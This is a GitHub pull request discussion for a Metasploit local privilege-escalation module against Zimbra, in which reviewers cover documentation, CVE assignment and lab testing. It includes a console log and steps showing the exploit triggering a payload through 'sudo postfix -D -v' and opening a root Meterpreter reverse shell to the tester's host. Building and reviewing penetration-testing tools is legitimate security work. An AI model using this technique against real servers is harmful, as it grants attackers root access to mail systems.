Check in zimbra_postfix_priv_esc.rb #17141
Conversation
|
Works in my lab too (got the zimbra shell just by running an meterpreter as zimbra user, instead of cpio exploit, for testing): For whatever reason it did hang after getting the session, I think that is just my local MSF instance needing a cleanup though, not an issue with exploit. |
There was a problem hiding this comment.
Thanks @rbowes-r7 for this module! There are just a few comments/suggestions before it lands.
| ``` | ||
| msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -l | ||
|
|
||
| Active sessions | ||
| =============== | ||
|
|
||
| Id Name Type Information Connection | ||
| -- ---- ---- ----------- ---------- | ||
| 1 meterpreter x64/linux zimbra @ mail.example.org 172.16.166.147:4444 -> 172.16.166.157:47210 (172.16.166.157) | ||
|
|
||
| msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > use exploit/linux/local/zimbra_postfix_priv_esc | ||
| [*] Using configured payload linux/x64/meterpreter/reverse_tcp | ||
| msf6 exploit(linux/local/zimbra_postfix_priv_esc) > set SESSION 1 | ||
| SESSION => 1 | ||
| msf6 exploit(linux/local/zimbra_postfix_priv_esc) > exploit | ||
|
|
||
| [*] Started reverse TCP handler on 172.16.166.147:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [*] Sending stage (3045348 bytes) to 172.16.166.157 | ||
| [*] Executing: sudo -n -l | ||
| [+] The target appears to be vulnerable. | ||
| [*] Creating exploit directory: /tmp/.GPjXSraCDY | ||
| [*] Writing '/tmp/.GPjXSraCDY/.qjSY8' (250 bytes) ... | ||
| [*] Attempting to trigger payload: sudo /opt/zimbra/common/sbin/postfix -D -v /tmp/.GPjXSraCDY/.qjSY8 | ||
| [*] Sending stage (3045348 bytes) to 172.16.166.157 | ||
| [+] Deleted /tmp/.GPjXSraCDY | ||
| [*] Meterpreter session 5 opened (172.16.166.147:4444 -> 172.16.166.157:36488) at 2022-10-14 13:19:25 -0700 | ||
|
|
||
| meterpreter > getuid | ||
| Server username: root | ||
| ``` |
There was a problem hiding this comment.
This should be moved to a separate section ## Scenarios below ## Options. This template shows details about each required section.
There was a problem hiding this comment.
I'm never 100% sure what the difference is between Verification and Scenarios, especially for modules that you just set LHOST/RHOSTS and run, but I tried to separate it out and added my Zimbra-installation steps in case that helps.
There was a problem hiding this comment.
The installation steps are definitely a good idea, thanks for adding them.
Verification Steps is where you add the steps for whoever will review/test the module. It is usually generic information in this format:
- Install the application
- Start msfconsole
- Do:
use [module path] - Do:
set RHOSTS <remote IP> - Do:
run - You should get a shell.
Scenarios contains a real example with the console output. It can contain multiple examples if you want to demonstrate how the module behaves according to the target OS, ACTION setting, PAYLOAD type etc.
This template is a good starting point: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md
There was a problem hiding this comment.
I just submitted a PR to your feature branch with some updates. Feel free to update it and land it if you think it makes sense.
| 'Arch' => [ ARCH_X86, ARCH_X64 ], | ||
| 'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
| 'Privileged' => true, | ||
| 'References' => [ |
There was a problem hiding this comment.
Just adding a note here as a placeholder to add the CVE number once it is out. Also, once it is fixed, adding the fixed version to the documentation and module description would be great.
There was a problem hiding this comment.
I dunno if this will get a CVE number, unless we mint one ourselves. Maybe I'll ask Tod to make one :)
There was a problem hiding this comment.
Just reserved CVE-2022-3569 for this. Feel free to drop it in the module on the next edit.
There was a problem hiding this comment.
CVE PR'ed for staging, @rbowes-r7 : rapid7/cvelist#62
…let the user choose the path
|
I believe I've fixed everything that @cdelafuente-r7 asked for! |
Zimbra Postfix LPE doc fix
|
Thanks @rbowes-r7 for updating this. Everything looks good now. I tested against version 8.8.15.GA.4179 Ubuntu 20.04.4 and it works great. I'll go ahead and land it.
|
cdelafuente-r7
added
the
rn-modules
Release NotesThis adds a new module to exploit a vulnerable sudo configuration in Zimbra that permits the |
Verification
List the steps needed to make sure this thing works
msfconsolezimbrauser somehow (I usedexploit/linux/http/zimbra_cpio_cve_2022_41352, which isn't merged yet, but any way to get a shell is fine)use exploit/linux/local/zimbra_postfix_priv_escset SESSION <session>exploitInstructions for installing Zimbra
(Adapted from @cdelafuente-r7's original install way back like two months ago)
Create a VM
I installed a local DNS server (note: replace
<ip>with the host's actual ip) (other note: replaceaptwithyumto do this on a Red Hat-derived system):Configure the host to use it:
Download Zimbra from https://www.zimbra.com/downloads/zimbra-collaboration-open-source/ - you'll have to sell your soul and opt-in to spam, but they don't validate your email.